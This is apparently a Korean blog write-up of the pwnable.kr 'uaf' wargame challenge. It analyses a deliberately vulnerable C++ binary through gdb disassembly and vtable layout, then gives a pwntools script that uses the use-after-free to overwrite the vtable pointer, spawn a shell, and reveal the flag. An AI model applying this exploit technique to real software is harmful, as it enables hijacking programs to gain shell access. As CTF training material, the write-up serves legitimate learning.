[문제]
[풀이]
보호기법 분석
- 64bits 바이너리
- 카나리 없음
- NX bits 존재
- PIE 없음
소스코드 분석 - uaf.cpp
#include <fcntl.h>
#include <iostream>
#include <cstring>
#include <cstdlib>
#include <unistd.h>
using namespace std;
class Human{
private:
virtual void give_shell(){
system("/bin/sh");
}
protected:
int age;
string name;
public:
virtual void introduce(){
cout << "My name is " << name << endl;
cout << "I am " << age << " years old" << endl;
}
};
class Man: public Human{
public:
Man(string name, int age){
this->name = name;
this->age = age;
}
virtual void introduce(){
Human::introduce();
cout << "I am a nice guy!" << endl;
}
};
class Woman: public Human{
public:
Woman(string name, int age){
this->name = name;
this->age = age;
}
virtual void introduce(){
Human::introduce();
cout << "I am a cute girl!" << endl;
}
};
int main(int argc, char* argv[]){
Human* m = new Man("Jack", 25);
Human* w = new Woman("Jill", 21);
size_t len;
char* data;
unsigned int op;
while(1){
cout << "1. use\\n2. after\\n3. free\\n";
cin >> op;
switch(op){
case 1:
m->introduce();
w->introduce();
break;
case 2:
len = atoi(argv[1]);
data = new char[len];
read(open(argv[2], O_RDONLY), data, len);
cout << "your data is allocated" << endl;
break;
case 3:
delete m;
delete w;
break;
default:
break;
}
}
return 0;
}
→ gdb에서 heap 관련해서 확인할 때 peda나 pwndbg와 같은 플러그인이 있다고 한다~ chunk 확인에 유용해보임
정적분석
gdb-peda$ info func
All defined functions:
Non-debugging symbols:
0x0000000000400c28 _init
0x0000000000400c50 std::basic_string<char, std::char_traits<char>, std::allocator<char> >::basic_string()@plt
0x0000000000400c60 std::ostream::operator<<(int)@plt
0x0000000000400c70 operator new[](unsigned long)@plt
0x0000000000400c80 operator delete(void*)@plt
0x0000000000400c90 std::ios_base::Init::Init()@plt
0x0000000000400ca0 read@plt
0x0000000000400cb0 __libc_start_main@plt
0x0000000000400cc0 system@plt
0x0000000000400cd0 __cxa_atexit@plt
0x0000000000400ce0 std::ios_base::Init::~Init()@plt
0x0000000000400cf0 std::basic_ostream<char, std::char_traits<char> >& std::operator<< <std::char_traits<char> >(std::basic_ostream<char, std::char_traits<char> >&, char const*)@plt
0x0000000000400d00 std::basic_string<char, std::char_traits<char>, std::allocator<char> >::~basic_string()@plt
0x0000000000400d10 std::basic_string<char, std::char_traits<char>, std::allocator<char> >::basic_string(char const*, std::allocator<char> const&)@plt
0x0000000000400d20 atoi@plt
0x0000000000400d30 std::basic_ostream<char, std::char_traits<char> >& std::operator<< <char, std::char_traits<char>, std::allocator<char> >(std::basic_ostream<char, std::char_traits<char> >&, std::basic_string<char, std::char_traits<char>, std::allocator<char> > const&)@plt
0x0000000000400d40 std::allocator<char>::~allocator()@plt
0x0000000000400d50 std::ostream::operator<<(std::ostream& (*)(std::ostream&))@plt
0x0000000000400d60 std::basic_ostream<char, std::char_traits<char> >& std::endl<char, std::char_traits<char> >(std::basic_ostream<char, std::char_traits<char> >&)@plt
0x0000000000400d70 std::allocator<char>::allocator()@plt
0x0000000000400d80 __gxx_personality_v0
0x0000000000400d80 __gxx_personality_v0@plt
0x0000000000400d90 operator new(unsigned long)@plt
0x0000000000400da0 _Unwind_Resume@plt
0x0000000000400db0 std::string::operator=(std::string const&)@plt
0x0000000000400dc0 open@plt
0x0000000000400dd0 std::istream::operator>>(unsigned int&)@plt
0x0000000000400de0 _start
0x0000000000400e0c call_gmon_start
0x0000000000400e30 __do_global_dtors_aux
0x0000000000400ea0 frame_dummy
**0x0000000000400ec4 main**
0x0000000000401124 __static_initialization_and_destruction_0(int, int)
0x0000000000401164 _GLOBAL__sub_I_main
**0x000000000040117a Human::give_shell()
0x0000000000401192 Human::introduce()
0x0000000000401210 Human::Human()
0x0000000000401210 Human::Human()
0x000000000040123a Human::~Human()
0x000000000040123a Human::~Human()
0x0000000000401264 Man::Man(std::string, int)
0x0000000000401264 Man::Man(std::string, int)
0x00000000004012d2 Man::introduce()
0x0000000000401308 Woman::Woman(std::string, int)
0x0000000000401308 Woman::Woman(std::string, int)
0x0000000000401376 Woman::introduce()**
0x00000000004013b0 __libc_csu_init
0x0000000000401440 __libc_csu_fini
0x0000000000401450 __do_global_ctors_aux
0x0000000000401488 _fini
💡 set print asm-demangle on → gdb에서 c++ 함수 이름이 깨지는 것 방지해줌
main 함수
Dump of assembler code for function main:
0x0000000000400ec4 <+0>: push rbp
0x0000000000400ec5 <+1>: mov rbp,rsp
0x0000000000400ec8 <+4>: push r12
0x0000000000400eca <+6>: push rbx
0x0000000000400ecb <+7>: sub rsp,0x50
0x0000000000400ecf <+11>: mov DWORD PTR [rbp-0x54],edi
0x0000000000400ed2 <+14>: mov QWORD PTR [rbp-0x60],rsi
0x0000000000400ed6 <+18>: lea rax,[rbp-0x12]
0x0000000000400eda <+22>: mov rdi,rax
0x0000000000400edd <+25>: call 0x400d70 <std::allocator<char>::allocator()@plt>
0x0000000000400ee2 <+30>: lea rdx,[rbp-0x12]
0x0000000000400ee6 <+34>: lea rax,[rbp-0x50]
0x0000000000400eea <+38>: mov esi,0x4014f0
0x0000000000400eef <+43>: mov rdi,rax
0x0000000000400ef2 <+46>: call 0x400d10 <std::basic_string<char, std::char_traits<char>, std::allocator<char> >::basic_string(char const*, std::allocator<char> const&)@plt>
0x0000000000400ef7 <+51>: lea r12,[rbp-0x50]
0x0000000000400efb <+55>: mov edi,0x18
0x0000000000400f00 <+60>: call 0x400d90 <operator new(unsigned long)@plt>
0x0000000000400f05 <+65>: mov rbx,rax
0x0000000000400f08 <+68>: mov edx,0x19
0x0000000000400f0d <+73>: mov rsi,r12
0x0000000000400f10 <+76>: mov rdi,rbx
0x0000000000400f13 <+79>: call 0x401264 <Man::Man(std::string, int)>
0x0000000000400f18 <+84>: mov QWORD PTR [rbp-0x38],rbx
0x0000000000400f1c <+88>: lea rax,[rbp-0x50]
0x0000000000400f20 <+92>: mov rdi,rax
0x0000000000400f23 <+95>: call 0x400d00 <std::basic_string<char, std::char_traits<char>, std::allocator<char> >::~basic_string()@plt>
0x0000000000400f28 <+100>: lea rax,[rbp-0x12]
0x0000000000400f2c <+104>: mov rdi,rax
0x0000000000400f2f <+107>: call 0x400d40 <std::allocator<char>::~allocator()@plt>
0x0000000000400f34 <+112>: lea rax,[rbp-0x11]
0x0000000000400f38 <+116>: mov rdi,rax
0x0000000000400f3b <+119>: call 0x400d70 <std::allocator<char>::allocator()@plt>
0x0000000000400f40 <+124>: lea rdx,[rbp-0x11]
0x0000000000400f44 <+128>: lea rax,[rbp-0x40]
0x0000000000400f48 <+132>: mov esi,0x4014f5
0x0000000000400f4d <+137>: mov rdi,rax
0x0000000000400f50 <+140>: call 0x400d10 <std::basic_string<char, std::char_traits<char>, std::allocator<char> >::basic_string(char const*, std::allocator<char> const&)@plt>
0x0000000000400f55 <+145>: lea r12,[rbp-0x40]
0x0000000000400f59 <+149>: mov edi,0x18
0x0000000000400f5e <+154>: call 0x400d90 <operator new(unsigned long)@plt>
0x0000000000400f63 <+159>: mov rbx,rax
0x0000000000400f66 <+162>: mov edx,0x15
0x0000000000400f6b <+167>: mov rsi,r12
0x0000000000400f6e <+170>: mov rdi,rbx
0x0000000000400f71 <+173>: call 0x401308 <Woman::Woman(std::string, int)>
0x0000000000400f76 <+178>: mov QWORD PTR [rbp-0x30],rbx
0x0000000000400f7a <+182>: lea rax,[rbp-0x40]
0x0000000000400f7e <+186>: mov rdi,rax
0x0000000000400f81 <+189>: call 0x400d00 <std::basic_string<char, std::char_traits<char>, std::allocator<char> >::~basic_string()@plt>
0x0000000000400f86 <+194>: lea rax,[rbp-0x11]
0x0000000000400f8a <+198>: mov rdi,rax
0x0000000000400f8d <+201>: call 0x400d40 <std::allocator<char>::~allocator()@plt>
0x0000000000400f92 <+206>: mov esi,0x4014fa
0x0000000000400f97 <+211>: mov edi,0x602260
0x0000000000400f9c <+216>: call 0x400cf0 <std::basic_ostream<char, std::char_traits<char> >& std::operator<< <std::char_traits<char> >(std::basic_ostream<char, std::char_traits<char> >&, char const*)@plt>
0x0000000000400fa1 <+221>: lea rax,[rbp-0x18]
0x0000000000400fa5 <+225>: mov rsi,rax
0x0000000000400fa8 <+228>: mov edi,0x6020e0
0x0000000000400fad <+233>: call 0x400dd0 <std::istream::operator>>(unsigned int&)@plt>
0x0000000000400fb2 <+238>: mov eax,DWORD PTR [rbp-0x18]
0x0000000000400fb5 <+241>: cmp eax,0x2
0x0000000000400fb8 <+244>: je 0x401000 <main+316>
0x0000000000400fba <+246>: cmp eax,0x3
0x0000000000400fbd <+249>: je 0x401076 <main+434>
0x0000000000400fc3 <+255>: cmp eax,0x1
0x0000000000400fc6 <+258>: je 0x400fcd <main+265>
0x0000000000400fc8 <+260>: jmp 0x4010a9 <main+485>
0x0000000000400fcd <+265>: mov rax,QWORD PTR [rbp-0x38]
0x0000000000400fd1 <+269>: mov rax,QWORD PTR [rax]
0x0000000000400fd4 <+272>: add rax,0x8
0x0000000000400fd8 <+276>: mov rdx,QWORD PTR [rax]
0x0000000000400fdb <+279>: mov rax,QWORD PTR [rbp-0x38]
0x0000000000400fdf <+283>: mov rdi,rax
0x0000000000400fe2 <+286>: call rdx
0x0000000000400fe4 <+288>: mov rax,QWORD PTR [rbp-0x30]
0x0000000000400fe8 <+292>: mov rax,QWORD PTR [rax]
0x0000000000400feb <+295>: add rax,0x8
0x0000000000400fef <+299>: mov rdx,QWORD PTR [rax]
0x0000000000400ff2 <+302>: mov rax,QWORD PTR [rbp-0x30]
0x0000000000400ff6 <+306>: mov rdi,rax
0x0000000000400ff9 <+309>: call rdx
0x0000000000400ffb <+311>: jmp 0x4010a9 <main+485>
0x0000000000401000 <+316>: mov rax,QWORD PTR [rbp-0x60]
0x0000000000401004 <+320>: add rax,0x8
0x0000000000401008 <+324>: mov rax,QWORD PTR [rax]
0x000000000040100b <+327>: mov rdi,rax
0x000000000040100e <+330>: call 0x400d20 <atoi@plt>
0x0000000000401013 <+335>: cdqe
0x0000000000401015 <+337>: mov QWORD PTR [rbp-0x28],rax
0x0000000000401019 <+341>: mov rax,QWORD PTR [rbp-0x28]
0x000000000040101d <+345>: mov rdi,rax
0x0000000000401020 <+348>: call 0x400c70 <operator new[](unsigned long)@plt>
0x0000000000401025 <+353>: mov QWORD PTR [rbp-0x20],rax
0x0000000000401029 <+357>: mov rax,QWORD PTR [rbp-0x60]
0x000000000040102d <+361>: add rax,0x10
0x0000000000401031 <+365>: mov rax,QWORD PTR [rax]
0x0000000000401034 <+368>: mov esi,0x0
0x0000000000401039 <+373>: mov rdi,rax
0x000000000040103c <+376>: mov eax,0x0
0x0000000000401041 <+381>: call 0x400dc0 <open@plt>
0x0000000000401046 <+386>: mov rdx,QWORD PTR [rbp-0x28]
0x000000000040104a <+390>: mov rcx,QWORD PTR [rbp-0x20]
0x000000000040104e <+394>: mov rsi,rcx
0x0000000000401051 <+397>: mov edi,eax
0x0000000000401053 <+399>: call 0x400ca0 <read@plt>
0x0000000000401058 <+404>: mov esi,0x401513
0x000000000040105d <+409>: mov edi,0x602260
0x0000000000401062 <+414>: call 0x400cf0 <std::basic_ostream<char, std::char_traits<char> >& std::operator<< <std::char_traits<char> >(std::basic_ostream<char, std::char_traits<char> >&, char const*)@plt>
0x0000000000401067 <+419>: mov esi,0x400d60
0x000000000040106c <+424>: mov rdi,rax
0x000000000040106f <+427>: call 0x400d50 <std::ostream::operator<<(std::ostream& (*)(std::ostream&))@plt>
0x0000000000401074 <+432>: jmp 0x4010a9 <main+485>
0x0000000000401076 <+434>: mov rbx,QWORD PTR [rbp-0x38]
0x000000000040107a <+438>: test rbx,rbx
0x000000000040107d <+441>: je 0x40108f <main+459>
0x000000000040107f <+443>: mov rdi,rbx
0x0000000000401082 <+446>: call 0x40123a <Human::~Human()>
0x0000000000401087 <+451>: mov rdi,rbx
0x000000000040108a <+454>: call 0x400c80 <operator delete(void*)@plt>
0x000000000040108f <+459>: mov rbx,QWORD PTR [rbp-0x30]
0x0000000000401093 <+463>: test rbx,rbx
0x0000000000401096 <+466>: je 0x4010a8 <main+484>
0x0000000000401098 <+468>: mov rdi,rbx
0x000000000040109b <+471>: call 0x40123a <Human::~Human()>
0x00000000004010a0 <+476>: mov rdi,rbx
0x00000000004010a3 <+479>: call 0x400c80 <operator delete(void*)@plt>
0x00000000004010a8 <+484>: nop
0x00000000004010a9 <+485>: jmp 0x400f92 <main+206>
0x00000000004010ae <+490>: mov r12,rax
0x00000000004010b1 <+493>: mov rdi,rbx
0x00000000004010b4 <+496>: call 0x400c80 <operator delete(void*)@plt>
0x00000000004010b9 <+501>: mov rbx,r12
0x00000000004010bc <+504>: jmp 0x4010c1 <main+509>
0x00000000004010be <+506>: mov rbx,rax
0x00000000004010c1 <+509>: lea rax,[rbp-0x50]
0x00000000004010c5 <+513>: mov rdi,rax
0x00000000004010c8 <+516>: call 0x400d00 <std::basic_string<char, std::char_traits<char>, std::allocator<char> >::~basic_string()@plt>
0x00000000004010cd <+521>: jmp 0x4010d2 <main+526>
0x00000000004010cf <+523>: mov rbx,rax
0x00000000004010d2 <+526>: lea rax,[rbp-0x12]
0x00000000004010d6 <+530>: mov rdi,rax
0x00000000004010d9 <+533>: call 0x400d40 <std::allocator<char>::~allocator()@plt>
0x00000000004010de <+538>: mov rax,rbx
0x00000000004010e1 <+541>: mov rdi,rax
0x00000000004010e4 <+544>: call 0x400da0 <_Unwind_Resume@plt>
0x00000000004010e9 <+549>: mov r12,rax
0x00000000004010ec <+552>: mov rdi,rbx
0x00000000004010ef <+555>: call 0x400c80 <operator delete(void*)@plt>
0x00000000004010f4 <+560>: mov rbx,r12
0x00000000004010f7 <+563>: jmp 0x4010fc <main+568>
0x00000000004010f9 <+565>: mov rbx,rax
0x00000000004010fc <+568>: lea rax,[rbp-0x40]
0x0000000000401100 <+572>: mov rdi,rax
0x0000000000401103 <+575>: call 0x400d00 <std::basic_string<char, std::char_traits<char>, std::allocator<char> >::~basic_string()@plt>
0x0000000000401108 <+580>: jmp 0x40110d <main+585>
0x000000000040110a <+582>: mov rbx,rax
0x000000000040110d <+585>: lea rax,[rbp-0x11]
0x0000000000401111 <+589>: mov rdi,rax
0x0000000000401114 <+592>: call 0x400d40 <std::allocator<char>::~allocator()@plt>
0x0000000000401119 <+597>: mov rax,rbx
0x000000000040111c <+600>: mov rdi,rax
0x000000000040111f <+603>: call 0x400da0 <_Unwind_Resume@plt>
End of assembler dump.
0x0000000000400ef2 <+46>: call 0x400d10 <std::basic_string<char, std::char_traits<char>, std::allocator<char> >::basic_string(char const*, std::allocator<char> const&)@plt>
0x0000000000400ef7 <+51>: lea r12,[rbp-0x50]
0x0000000000400efb <+55>: mov edi,0x18
0x0000000000400f00 <+60>: call 0x400d90 <operator new(unsigned long)@plt>
0x0000000000400f05 <+65>: mov rbx,rax
0x0000000000400f08 <+68>: mov edx,0x19
0x0000000000400f0d <+73>: mov rsi,r12
0x0000000000400f10 <+76>: mov rdi,rbx
**0x0000000000400f13 <+79>: call 0x401264 <Man::Man(std::string, int)>**
0x0000000000400f18 <+84>: mov QWORD PTR [rbp-0x38],rbx
0x0000000000400f1c <+88>: lea rax,[rbp-0x50]
0x0000000000400f20 <+92>: mov rdi,rax
0x0000000000400f23 <+95>: call 0x400d00 <std::basic_string<char, std::char_traits<char>, std::allocator<char> >::~basic_string()@plt>
0x0000000000400f28 <+100>: lea rax,[rbp-0x12]
0x0000000000400f2c <+104>: mov rdi,rax
0x0000000000400f2f <+107>: call 0x400d40 <std::allocator<char>::~allocator()@plt>
0x0000000000400f34 <+112>: lea rax,[rbp-0x11]
0x0000000000400f38 <+116>: mov rdi,rax
0x0000000000400f3b <+119>: call 0x400d70 <std::allocator<char>::allocator()@plt>
0x0000000000400f40 <+124>: lea rdx,[rbp-0x11]
0x0000000000400f44 <+128>: lea rax,[rbp-0x40]
0x0000000000400f48 <+132>: mov esi,0x4014f5
0x0000000000400f4d <+137>: mov rdi,rax
0x0000000000400f50 <+140>: call 0x400d10 <std::basic_string<char, std::char_traits<char>, std::allocator<char> >::basic_string(char const*, std::allocator<char> const&)@plt>
0x0000000000400f55 <+145>: lea r12,[rbp-0x40]
0x0000000000400f59 <+149>: mov edi,0x18
0x0000000000400f5e <+154>: call 0x400d90 <operator new(unsigned long)@plt>
0x0000000000400f63 <+159>: mov rbx,rax
0x0000000000400f66 <+162>: mov edx,0x15
0x0000000000400f6b <+167>: mov rsi,r12
0x0000000000400f6e <+170>: mov rdi,rbx
**0x0000000000400f71 <+173>: call 0x401308 <Woman::Woman(std::string, int)>**
0x0000000000400f76 <+178>: mov QWORD PTR [rbp-0x30],rbx
0x0000000000400f7a <+182>: lea rax,[rbp-0x40]
0x0000000000400f7e <+186>: mov rdi,rax
0x0000000000400f81 <+189>: call 0x400d00 <std::basic_string<char, std::char_traits<char>, std::allocator<char> >::~basic_string()@plt>
0x0000000000400f86 <+194>: lea rax,[rbp-0x11]
0x0000000000400f8a <+198>: mov rdi,rax
0x0000000000400f8d <+201>: call 0x400d40 <std::allocator<char>::~allocator()@plt>
0x0000000000400f92 <+206>: mov esi,0x4014fa
0x0000000000400f97 <+211>: mov edi,0x602260
- Human* m = new Man(”Jack”, 25); 와 Human* w = new Woman(”Jill”, 21);에 대응하는 부분
- 새로운 객체가 생성됨
- main+79에 bp 걸어 레지스터 값 확인
→ rax, rbx모두 0xddac50 값을 가짐
- 해당 메모리를 확인해보면 0x401570의 VPTR을 확인할 수 있음
- 0x401570 에서 0X40117a가 저장되어 있음을 확인할 수 있는데, 이는 get_shell 함수임
- get_shell 함수 다음에 introduce 함수가 호출됨
- 해당 값은 rbp-0x38에 저장됨
- woman을 생성하는 부분도 동일하게 진행됨→ 여기서는 rbp-0x30에 rbx 값을 넣음
- 해당 부분에서도 get_shell이 호출됨을 알 수 있음
- man이나 woman 중 아무거나 사용해도 될 것 같음!
case 1
0x0000000000400fc3 <+255>: cmp eax,0x1
0x0000000000400fc6 <+258>: je 0x400fcd <main+265>
0x0000000000400fc8 <+260>: jmp 0x4010a9 <main+485>
**0x0000000000400fcd <+265>: mov rax,QWORD PTR [rbp-0x38]**
0x0000000000400fd1 <+269>: mov rax,QWORD PTR [rax]
**0x0000000000400fd4 <+272>: add rax,0x8**
0x0000000000400fd8 <+276>: mov rdx,QWORD PTR [rax]
0x0000000000400fdb <+279>: mov rax,QWORD PTR [rbp-0x38]
0x0000000000400fdf <+283>: mov rdi,rax
0x0000000000400fe2 <+286>: call rdx
**0x0000000000400fe4 <+288>: mov rax,QWORD PTR [rbp-0x30]**
0x0000000000400fe8 <+292>: mov rax,QWORD PTR [rax]
**0x0000000000400feb <+295>: add rax,0x8**
0x0000000000400fef <+299>: mov rdx,QWORD PTR [rax]
0x0000000000400ff2 <+302>: mov rax,QWORD PTR [rbp-0x30]
0x0000000000400ff6 <+306>: mov rdi,rax
- use 부분에서 man과 woman 모두 introduce 함수를 호출함
- 이때, 각각 rbp-0x38, rbp-0x30 값을 rax 레지스터에 저장함
- 중요한 점은 rax 레지스터에 값을 저장한 후에 8을 더하고 있음
💡 내가 원하는 값을 호출하기 위해서는 원래 함수 값에서 -8 해준 값을 전달해줘야 함을 알 수 있음
문제 해결
💡 free 후에 새로운 데이터를 집어넣어 use 하는 부분에서 get_shell이 실행되도록 변조
→ introduce 함수 대신 get_shell이 실행돼야 함
free → after → use 형태로 호출하면 될 것 같음
- main 함수에서 Jack과 Jill이라는 객체를 생성하는 부분이 있음 → VPTR 생성
- use 부분에서 introduce 함수가 호출되는 것은 VPTR(0x401570)으로부터 +8 위치에 있음
- 우리가 실행하고 싶은 함수는 get_shell임
- 이는 introduce 함수 앞에 위치해있음
- data 값으로 VPTR의 -8인 값을 전달해주면 add 0x8을 했을 때 introduce 함수가 아닌, 8byte 만큼 작은 주소 값에 위치한 get_shell 함수를 호출할 수 있음
→ after를 1번만 누르면 Segmentation fault가 발생함
- after 부분에서 argv[1]로 len, argv[2]로 data를 입력 받고 있으므로 64bit 바이너리에 맞게 8, VPTR-8 값을 넣어줌(argv[2]에 바로 전달하면 값이 깨지므로 python으로 파일 속에 값을 넣어주고 나서 파일을 이용함)
원격 실행 코드
from pwn import *
p = ssh(user='uaf', host='pwnable.kr', password='guest', port=2222)
#p.run("mkdir /tmp/sik")
p.write('/tmp/sik', '\\x68\\x15\\x40\\x00\\x00\\x00\\x00\\x00')
array=" 8 /tmp/sik"
argv = array.split(' ')
print argv
s=p.process(executable="/home/uaf/uaf", argv=argv)
print s.recvuntil('3. free')
s.sendline("3")
print s.recvuntil('3. free')
s.sendline("2")
print s.recvuntil('3. free')
s.sendline("2")
print s.recvuntil('3. free')
s.sendline("1")
s.interactive()
flag
🍒 yay_f1ag_aft3r_pwning
'Wargame > Pwnable.kr' 카테고리의 다른 글
[Pwnable.kr] asm (0) | 2023.02.26 |
---|---|
[Pwnable.kr] memcpy (0) | 2022.10.15 |
[Pwnable.kr] cmd2 (0) | 2022.10.15 |
[Pwnable.kr] cmd1 (0) | 2022.10.15 |
[Pwnable.kr] lotto (0) | 2022.10.15 |